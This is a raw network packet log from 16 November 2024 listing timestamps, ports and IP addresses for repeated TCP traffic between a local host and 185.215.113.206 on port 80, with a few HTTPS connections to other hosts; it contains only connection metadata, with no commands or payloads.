Nov 16, 2024 13:01:40.715725899 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715725899 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715740919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715755939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715759039 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715759039 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715770960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715790033 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715790033 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715794086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715809107 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715823889 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715837002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715837002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715837955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715862989 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715877056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715889931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715889931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715893030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715907097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715929985 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715934038 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715934038 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715944052 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715960026 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715972900 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715972900 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715976000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715987921 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715995073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715997934 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716008902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716025114 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716032028 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716032028 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716039896 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716056108 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716062069 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716062069 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716069937 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716087103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716095924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716095924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716136932 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716140032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716162920 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716187000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716197968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716197968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716201067 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716216087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716229916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716238022 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716238022 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716245890 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716259956 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716270924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716270924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716281891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716295958 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716304064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716304064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716310978 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716325998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716336012 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716336012 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716340065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716353893 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716367006 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716367960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716368914 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716384888 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716398954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716398954 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716398954 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716413975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716413975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716428995 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716430902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716442108 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716445923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716460943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716478109 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716480970 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716480970 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716522932 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716522932 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716576099 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716589928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716605902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716619968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716628075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716628075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716635942 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716650963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716660976 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716661930 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716701031 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716701031 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716712952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716727018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716742039 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716756105 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716763973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716763973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716772079 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716785908 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716794968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716794968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716801882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716816902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716828108 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716828108 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716841936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716856956 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716861010 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716861010 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716871023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716886044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716893911 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716893911 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716903925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716922045 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716931105 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716931105 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716937065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716952085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.716953039 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716979027 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716979027 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.716984987 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717006922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717019081 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717019081 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717021942 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717036963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717051983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717056036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717056036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717067003 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717082024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717087984 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717087984 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717097044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717112064 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717122078 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717122078 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717134953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717149973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717149973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717149973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717164993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717180967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717185974 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717185974 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717195988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717212915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717216015 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717216015 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717225075 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717242956 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717246056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717247009 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717257977 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.717281103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717281103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.717356920 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.756341934 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.756367922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.756383896 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.756398916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.756414890 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.756429911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.756444931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.756508112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.756508112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.778435946 CET	49906	443	192.168.2.5	23.198.7.177
Nov 16, 2024 13:01:40.778444052 CET	49908	443	192.168.2.5	204.79.197.219
Nov 16, 2024 13:01:40.778448105 CET	49910	443	192.168.2.5	23.198.7.187
Nov 16, 2024 13:01:40.778462887 CET	443	49908	204.79.197.219	192.168.2.5
Nov 16, 2024 13:01:40.778474092 CET	443	49910	23.198.7.187	192.168.2.5
Nov 16, 2024 13:01:40.802316904 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.802333117 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.802346945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.802361965 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.802445889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.802445889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.813853025 CET	49907	443	192.168.2.5	23.198.7.177
Nov 16, 2024 13:01:40.813883066 CET	49909	443	192.168.2.5	204.79.197.219
Nov 16, 2024 13:01:40.813900948 CET	443	49909	204.79.197.219	192.168.2.5
Nov 16, 2024 13:01:40.830549002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.830564976 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.830589056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.830604076 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.830621004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.830636024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.830658913 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.830707073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.830707073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831238031 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831264019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831286907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831298113 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831337929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831337929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831355095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831378937 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831393957 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831399918 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831410885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831427097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831432104 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831432104 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831440926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831465960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831465960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831465960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831482887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831489086 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831496954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831512928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831538916 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831538916 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831576109 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831583023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831597090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831612110 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831636906 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831651926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831657887 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831657887 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831665039 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831696987 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831712961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831718922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831718922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831727982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831737041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831742048 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831757069 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831772089 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831788063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831803083 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831803083 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831804037 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831828117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831829071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831844091 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831849098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831857920 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831873894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831886053 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831890106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831904888 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831928968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831928968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831938982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831964016 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831979990 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.831988096 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831988096 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.831995010 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832003117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832024097 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832025051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832041979 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832046986 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832056999 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832071066 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832081079 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832081079 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832086086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832098961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832114935 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832123041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832123041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832129955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832160950 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832168102 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832168102 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832185030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832195044 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832211018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832225084 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832231045 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832250118 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832263947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832279921 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832295895 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832312107 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832312107 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832312107 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832328081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832334042 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832350016 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832357883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832372904 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832374096 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832389116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832403898 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832431078 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832431078 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832484007 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832490921 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832508087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832524061 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832547903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832561016 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832561016 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832564116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832588911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832593918 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832604885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832617998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832631111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832631111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832642078 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832658052 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832662106 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832662106 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832674026 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832684040 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832689047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832705021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832715988 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832715988 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832720995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832745075 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832746983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832746983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832761049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832766056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832775116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832779884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832798004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832813025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832815886 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832815886 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832828045 CET	80	49802	185.215.113.206	192.168.2.5
